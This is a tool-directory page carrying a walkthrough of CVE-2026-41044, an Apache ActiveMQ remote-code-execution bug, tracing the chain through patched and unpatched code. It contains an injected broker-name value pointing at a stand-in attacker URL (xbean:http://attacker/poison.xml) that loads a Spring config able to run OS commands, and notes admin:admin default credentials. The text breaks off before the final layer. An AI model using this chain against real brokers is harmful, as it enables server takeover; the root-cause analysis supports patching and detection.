Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41044 — Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script. | Kitploit
Tools/GitHubGitHub/mrillicit/cve-2026-41044
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script.

View Repository
95 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41044

Note: Educational Purposes Only

From Advisory to RCA in an Afternoon: How AI Collapses N-Day Analysis

A short, honest walkthrough of CVE-2026-41044 in Apache ActiveMQ using the exact pre and post patch code.


CVE-2026-41044 was disclosed on April 24, 2026. It's a remote code execution bug in Apache ActiveMQ Classic, found by jsjcw, patched in 5.19.6 and 6.2.5. I didn't find it.

What I want to show is how someone who has never touched ActiveMQ before can produce a working exploit of an N-day in an afternoon, because the patched code is public, the unpatched code is public, and the gap between them is a git diff away.


Part 1: The workflow

The process is simple:

  1. Read the advisory, note the affected files, the CWE, and any function names mentioned.
  2. Check out the last vulnerable version and the first patched version side by side.
  3. Ask a model to diff the relevant files and explain each change.
  4. Reproduce the chain in a local lab and test end to end.

What used to take days now takes an afternoon. AI doesn't find bugs. It reads code and explains it as fast as you can ask questions. The expensive part is still you: deciding what's actually exploitable, where the real trust boundaries are, what needs verification. The model just walks call graphs faster than any human can.

The bigger point: if your patching workflow assumes a week of analysis time per CVE, you're on the old timeline. git diff is the same length whether you're writing detection or writing exploits.


Part 2: CVE-2026-41044

What is ActiveMQ?

ActiveMQ is a message broker. It sits in the middle and passes messages between applications. Think of it like a post office: apps drop off messages, ActiveMQ delivers them to the right recipient. It's widely deployed in enterprise Java stacks and exposes a web console and a REST management API called Jolokia at /api/jolokia/. Default credentials in many deployments are still admin:admin.


The vulnerability in one sentence

ActiveMQ let any authenticated user load a broker configuration from an arbitrary HTTP URL, which Spring would parse and immediately execute as Java objects - including ProcessBuilder - giving the attacker full OS command execution on the broker server.


Background: the terms you need

  • Broker: the running ActiveMQ server. Identified by a name, default localhost.
  • Jolokia: an HTTP-to-JMX bridge at /api/jolokia/ that exposes management operations as a REST API. Any valid web console credential reaches it - not just admin.
  • vm:// transport: the in-process transport used when a client lives in the same JVM as the broker. It accepts a ?brokerConfig= query parameter pointing to a Spring XML config to bootstrap a broker from.
  • xbean:: a URL scheme that tells ActiveMQ to treat the URL as a Spring XML config and load it.
  • Spring beans / init-method: Spring reads XML and automatically creates Java objects (beans). The init-method attribute tells Spring to call a method on the bean the moment it is created - before anything else runs.
  • ProcessBuilder: a standard Java class that runs OS commands. ProcessBuilder.start() executes the command.

The chain: five layers, real code

Layer 1 - DestinationView builds a URL by string concatenation

DestinationView.sendTextMessage() in 5.19.2 builds a broker connection URL by directly concatenating the broker name into a string:

// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);

If getBrokerName() returns localhost?brokerConfig=xbean:http://attacker/poison.xml, that entire string becomes a valid vm:// URI with an embedded query parameter. ActiveMQConnectionFactory hands it to VMTransportFactory, which lifts the brokerConfig parameter out and uses it as the broker's bootstrap configuration URL.

The fix in 5.19.6 is one line:

// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();

String becomes URI - accidental concatenation is no longer possible. The value comes from a pre-constructed, immutable URI object derived from the broker's actual registered VM connector, not from a mutable name string.


Layer 2 - The poisoning point in RegionBroker

For Layer 1 to be exploitable, the broker name has to be poisoned first. BrokerService has always sanitized broker names:

// BrokerService.setBrokerName() - present in BOTH versions
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");

That regex strips ? and = cleanly. The CVE existed because RegionBroker had its own separate setter that did not:

// 5.19.2 - RegionBroker.java
private String brokerName;           // mutable

public void setBrokerName(String brokerName) {
    this.brokerName = brokerName;    // no validation at all
}

This is a classic confused deputy - two setters on related classes, only one of them sanitizes. A remote peer broadcasting a crafted BrokerInfo packet with a poisoned name field reaches RegionBroker.setBrokerName() directly, bypassing BrokerService's regex entirely.

The fix in 5.19.6 deletes the setter, makes the field final, and initializes it once from the already-sanitized parent:

// 5.19.6 - RegionBroker.java
private final String brokerName;     // immutable

public RegionBroker(BrokerService brokerService, ...) {
    this.brokerName = Objects.requireNonNull(
        brokerService.getBrokerName(), "The broker name cannot be null");
    // setBrokerName() is gone. There is no setter anymore.
}

You cannot bypass a sanitizer that has no parallel writer.


Layer 3 - VMTransportFactory: deliberately unchanged

VMTransportFactory.doCompositeConnect() is the function that takes the vm://...?brokerConfig=... URI, lifts the brokerConfig parameter, and calls BrokerFactory.createBroker(brokerURI). It is the trigger mechanism of the entire chain.

Apache changed exactly nothing here.

That choice tells you something about how they thought about the fix. VMTransportFactory is doing legitimate work - vm:// transports really are supposed to accept bootstrap configs. Patching it would have broken the intended design. Instead, Apache fixed the bug at the source (Layer 2: no poisoned name can be written) and at the sink (Layer 5: even if a poisoned URL got through, the resource resolver won't fetch it).

Fix the layers where validation belongs, not the layer where the attacker happened to come through.


Layer 4 - XBeanBrokerFactory hands the URI to Spring

// XBeanBrokerFactory - same in both versions
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);   // Layer 5
    return new ResourceXmlApplicationContext(resource) { ... };
}

ResourceXmlApplicationContext(resource) is where Spring does its thing - every bean's init-method runs on context construction, before ActiveMQ's BrokerService ever validates the result. There is no patch to make here. Spring's contract is correct as designed. The bug was that ActiveMQ relied on validation happening before instantiation, and Spring doesn't promise that ordering.


Layer 5 - Utils.resourceFromString: the actual primitive fix

This is the function that decided whether xbean:http://attacker/poison.xml should be fetched. In 5.19.2:

Download Tool